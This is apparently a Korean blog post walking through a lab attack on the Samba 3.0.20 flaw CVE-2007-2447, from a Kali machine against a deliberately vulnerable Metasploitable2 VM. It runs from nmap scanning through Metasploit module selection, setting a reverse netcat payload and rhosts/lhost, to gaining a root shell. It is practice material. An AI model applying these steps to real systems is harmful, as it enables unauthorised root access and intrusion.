취약점 분석 및 진단 - samba

2022. 9. 25. 23:37시스템 & 네트워크 보안

취약점 공격 실습 - 1

취약점 공격 실습 - 2

 

취약점 공격 실습 - 3

실습 환경

공격자 : kali Linux(여러 해킹 도구와 해킹툴이 설치된 attacker용 OS)

공격대상 : metasploitable2(각종 취약한 버전을 골라서 설치한 Victim용 OS)

취약점 대상 : samba 서비스

 

1. 공격 대상(metasploitable2) ip 주소 찾기

 

 

2. 포트 스캐닝(kali) : nmap 명령어에 A 옵션을 줘서 All scan 실행

 

 

3. 포트 스캔으로 얻은 정보 구글링

Samba 3.0.20 버전에 cve-2007-2447 취약점이 존재한다는 사실 확인

 

 

4. 스크립트를 활용한 상세스캐닝(kali)

kali의 /usr/share/nmap/scripts 디렉터리 아래에 취약점 관련 스크립트들이 저장되어 있음

find -name "*취약점명*" 을 통해 취약점 관련 스크립트 찾기

 

 

출력된 스크립트는 cve-2012-1182 즉 Samba 3.0.20의 취약점이 아님

맨 처음 nmap으로 스캐닝 했을 때를 보면 Samba 3.0.20 관련 스크립트에 대해 나와있음

smb-os-discovery : Samba 3.0.20-Debian

 

 

상세 스캐닝

nmap --script=[스크립트명] [공격대상 ip] -p [포트번호]

해당 스크립트에서 별다른 정보를 얻지 못함(이미 알고 있는 정보)

 

 

5. metasploit을 이용해서 취약점 공격(kali)

5.1 msfconsole (metasploit 실행)

 

 

5.2 search [취약점] : 취약점 찾기

cve 번호로 검색하면 정확하게 찾을 수 있습니다. 취약점 서비스 명으로 검색해도 되지만 그럴경우 복수개의 공격 모듈 출력

권장 : 먼저 cve 번호로 검색, 안나올 경우 취약점 서비스로 검색

 

 

5.3 use [취약점] : search로 찾은 공격 모듈 장착

defaulting to cmd/unix/reverse_netcat : 공격 모듈에 기본 페이로드가 장착되어 있음

없을 경우 5.4 단계를 거쳐야함

 

 

5.4 (페이로드가 자동으로 장착되어 있거나 페이로드를 변경하지 않을 경우 이 단계는 필요 없음)

show payloads : 사용 가능한 페이로드 확인

set payload [페이로드] : 페이로드 설정

 

 

다수의 사용 가능한 페이로드가 출력됨

페이로드 선택시 backdoor 공격일 경우 bind가 들어간 페이로드를 Trojann horse 공격일 경우 reverse가 들어간 페이로드를 선택하는 것이 더 잘 동작함

 

5.5 공격 대상, 공격자 설정

set rhosts [공격 대상 ip] : 공격 대상이 누구인지 설정

set lhosts [공격자 ip] : trojan horse(트로이목마)를 사용하는 페이로드거나 페이로드가 reverse일 경우 설정

기본 장착되어 있는 페이로드명에 reverse가 들어가므로 lhost도 설정

 

 

5.6 show options(공격전 최종 점검)

 

 

5.6 exploit 공격 시작

공격대상(Metasploitable2)의 쉘 환경에 성공적으로 접속 완료(공격 성공)

 

 

공격 대상의 ip인것으로 보아 공격에 성공 했음을 알수 있으며 root 관리자 권한으로 접속했음 또한 알수 있음

metasploitable2 ip 주소 : 192.168.45.135

 

 

6. 공격 중단(Ctrl + c)

 

 

 

다음 글

취약점 분석 및 진단 - 패스워드 크래킹 (tistory.com)